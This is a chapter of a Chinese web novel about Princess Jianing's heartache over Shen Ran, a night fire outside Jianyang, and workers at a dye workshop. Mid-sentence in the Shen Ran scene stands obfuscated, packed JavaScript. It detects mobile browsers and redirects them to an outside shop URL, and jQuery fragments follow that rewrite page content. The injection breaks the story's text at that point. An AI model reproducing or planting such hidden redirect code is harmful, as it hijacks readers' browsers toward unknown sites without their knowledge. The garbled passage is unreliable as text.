岳淑华回家，阮仓南下，沈苒与她日后不相见。站在码头上，嘉宁有些落寞，偌大的建阳城独留她在此。


    “小婉，我们去哪？”


    “郡主想去哪？”小婉不懂她话中的茫然。


    “我们回家吧。”


    马车悠悠，嘉宁坐在其中，手指指腹摩挲着手串上的珠子，似在沉思，脑中却空无一物。


    “郡主，要不我们去找方公子玩吧。那日，我路过江南岸，听将野说，方公子新研制出好几道菜，要不要去尝尝。”


    嘉宁摇摇头，眼神依旧没聚焦。小婉实在看不下去，那日宴会回来，嘉宁总这幅样子，对什么都提不起兴趣。以前有岳淑华陪着，嘉宁还能装出一副开心的模样，如今送走岳淑华，她就彻底蔫吧。


    “郡主，要不我们去禅虚寺逛逛？山上有些树的叶子都黄了，风景很是漂亮。”小婉再次提议。


    “回家吧，今天有点累了。”佳宁对这些都没有兴趣，只想歇着。


    马车行驶到家门口，小婉扶着嘉宁下车。方庭轩早已在此等候，向前一步，同样扶嘉宁一把。


    方庭轩晃晃手中拎着的酒坛子。“今儿个这坛子酒到日期，我特意从土中取出来，立刻就往你这儿赶到。府上丫鬟却告诉我，你去码头送人。我来的晚，再去码头怕和你错过，只好在门外等着彰显我的诚意。”


    嘉宁兴致缺缺，面上没有多大的喜悦：“多谢你了。”


    “友人离去，心情难免低落，刚好借我这坛酒消愁。”


    嘉宁这处有专门聘请的厨娘，小婉已吩咐她们做些下酒菜，又安排人将凉亭打扫一番，挂起遮阳挡风的帷幔，正中摆一尊小泥炉用以温酒。


    “雅致。”嘉宁心情终于好些，“还是你有雅兴。”


    “怎么总是叹气？”方庭轩摆弄炉中炭火，“这火太旺，比起温酒，更适合烤肉。”


    “小婉。”


    嘉宁一说，她就明白，立刻去安排。


    “我有总是叹气嘛？”嘉宁说完又叹一口气，于是她终于意识到，“心中有郁结无处宣泄，只能叹气。”


    “什么事，不妨和我说，不吐不快。正好大醉一场，醒来就都忘了。”


    方庭轩将酒壶撤下，架上小婉带来的铁架，将切好的肉铺上，五花肉滋滋冒油，油脂滴入炭火中，火势更旺，方庭轩只好用指尖沾些茶水甩去。


    “也不是什么大事，你我知己，我并不瞒你。”


    嘉宁将自己与沈苒如何相识，如何相知，又如何走到今日不想见的地步，事情经过完整叙述一遍，当然其中关于沈苒是女子的秘密巧妙隐去。


    方庭轩早就猜出沈苒是女子，只是不知她与嘉宁之间有这么多的牵扯。嘉宁既然没有明说，方庭轩也没有去戳破这层窗户纸。


    “你说她为何要避开我，她有苦衷，我是可以理解的，为何现在我们连朋友都做不了？”


    嘉宁痛饮一杯，方庭轩又给她满上。架上的肉，已烤至两面焦香，厨娘撒上一把细盐，将调好的佐料均匀撒上，放入盘中。


    “好酒要细品，凡事不可操之过急。”


    “我懂细水长流的道理，可现在……”嘉宁欲言又止，端起酒杯又放下。“借酒消愁愁更愁。”


    “她这些话又不是亲口对你说的，你为何不去听听她的解释？”


    “我还没有准备好吧，因为不明确到底她要说什么，又能猜测出几分，不知道自己该怎么面对，其实我也在逃避，对吗？”


    “端起酒杯来。”方庭轩与她碰杯，“你瞧你已经开悟了，那为何不你不再勇敢一点，光阴如梭，你还要准备多久？要等到你想好措辞，写一首抒情诗，人家早已经不在原地等待。”


    “你不懂，我是怕她为难，她是一个多思多虑的人，我这份情谊她既无法接受，可能又会怕我伤心，不敢拒绝，这会成为她的负担。”


    “当年，我与清潇相识于山水间。那些纵情山水的日子是我今生最快活的，我们以彼此为知己。我自人间漫浪。为行路方便，我习惯男装打扮，加上将野将行，我们三个男人作伴，看起来也有些震慑力。”


    “他还以为我是个男人，我们之间的感情路也很曲折，至少最后还算圆满”


    “圆满嘛？你和他可能再也无法见面……”


    “至少我不后悔。现在让我遇见了你，我和他之间还能互相通信，我已经很满足了，我并不会再奢求什么。”


    “我和他本已无缘，可我偏偏不想放手，再主动一点，再勇敢一点。他不告而别，是因为事情发生的太突然，来不及告诉我，也是希望让我觉得他薄情寡义，放下执念。我们都不能原原本本知晓对方的想法，所以我来到了建阳，我等他给我一个解释。”


    嘉宁听她说完，杯中酒已冷。“我明白”


    两人一炉，一壶浊酒，庭中畅饮。人生苦短，若是爱一个人，何苦要压抑本心，不妨大胆一些，至少不留遗憾。


    入夜，嘉宁宿在这里，与小婉同榻而眠。


    “小婉，你是最了解我的，我该去找她吗？我知我的性子素来莽撞，还有些冲动，所以我收敛我的脾气，原本是想等到冷静下来，再去和她说清楚的。可时间过去越久，我却越害怕。”


    “我以为郡主是直率的性子，只是太过于在乎她的感受，有了顾虑，所以才会害怕。”


    “说来说去还是要我自己拿主意的，罢了罢了，睡觉吧。”


    嘉宁闭上眼睛，脑中思虑万千，久久无法入睡，身边的小婉却已酣然入梦。


    嘉宁翻身下床，顺着窗户翻到房顶，皎皎明月高悬，风里透着凉意，侵袭着她单薄的衣衫。


    郊外方向有隐隐火光，距离较远，看不真切，嘉宁以为那是谁家走水，没有做理会。


    ——


    一抹月华清晖，潜入窗，爬上沈苒的桌台，镜中的她披散着长发，白净的脸庞不加一丝修饰，坚韧中透出几分英气。


    近日她突然萌生恢复兴奋的想法，远走他乡，谁又知道她是哪个沈苒，哥哥可以做到的，她为什么不可以？


    可爹娘，哥哥为她做了那么多，他做不到那么自私。


    建阳城中突然多了一个她牵挂的人，心中也有不舍。


    岳淑华对她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192561|194900||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    所说的话，她有认真的思考过，嘉宁说的心悦于她，是在知道她是女子之前吗，还是现在依旧心悦于她。如今她尴尬的处境，自身都没有处理好，何苦牵扯嘉宁一起。


    檐下白鸽不安分地叫着。


    沈苒素手研磨，写信一封，绑在白鸽腿上，双手捧着鸽子来到窗前，却又收手。这么晚，嘉宁应该睡了吧，这些话写在信上分量太重，不如他亲口去说。


    她又将信解开，重新放回桌子上，小白鸽挣脱她的手，振翅飞向天空。


    今夜注定是无眠夜。


    郊外的火最先烧起来的是破庙，庙内住的流民乞丐乱作一团，更有人提刀烧杀，顿时哀嚎声一片。


    次日，有人报官，官府下午就贴出了一张告示，写明是土匪烧杀抢掠，出入的城门增派更多的官兵，过往行人查的更严苛。


    马车等了好久才出城，布坊和染坊有供应需求，香云已经打点过城门守卫。王丫和归云前几日去染坊帮忙，还没回来，城门查的严，担心他俩回不来，正好又顺便看看其他人的安危，香云特意出城一趟。


    还好染坊安然无恙，姑娘们照常上工。


    孙大娘轮着大勺，跟香云汇报昨天的情况。“昨个的火老大了，听说是从城隍庙那边烧起来的，连着周边都着火了，说是有人亲眼看见有土匪拿着刀抢东西，见一个杀一个，土匪也真是饿急眼了，连乞丐也抢。”


    “要说也是建阳官府治理的好，土匪进不了城，只能在城外抢流民乞丐的。早上官府就给那些人收尸，还要给城隍庙重新修缮一番，给城隍爷重新打个雕像。”


    香云静静听她说完。“咱们这边没什么事吧？”


    “昨夜我正睡得香呢，就听着外面咚的一声，出门就看见了个黑影儿，一溜烟都不见。我把人喊起来，打着火把找也没找到，兴许是野猫吧，土匪也怕麻烦。”


    香云：“这几天晚上轮流盯着点有刀的拿刀，小心点为好，城门那边我已经打点过了，要有急事，你们去那里应该也会帮忙。”


    周大娘有些不好意思，缓缓开口，说道：“香云，能不能麻烦你带沫沫去城里住几天？她还小，如果真有事儿，她在这儿只能添乱。”


    “好，那就让她和王丫跟我一起走，归云留在这里。”


    王丫做不了绣娘的活，说话间，就一直在厨房的角落坐在一个小板凳上。听见香云叫她，明显吓得浑身一颤，随后又装作无事发生的样子。


    孙大娘给沫沫收拾好衣服，又塞了些吃食，临行前又嘱托。“去了一定要听话，少偷懒，勤快些。”


    “知道了，娘，那我走了，你要多保重身体。”


    王丫一言不发的从她们身边经过，想要悄悄上，马上却被孙大娘拦住。


    “大娘知道你是好孩子，这有些零嘴，也不知道你爱不爱吃，只管也给你装了些。”


    “谢谢。”王丫点点头，眼中似有泪花闪过。


    马车离去，王丫总在神游，到了香云织后，立刻就回屋待着，饭也不吃。香云和沫沫问她发生什么事，她什么也不说，只是从那儿起，她好像变了个人似的。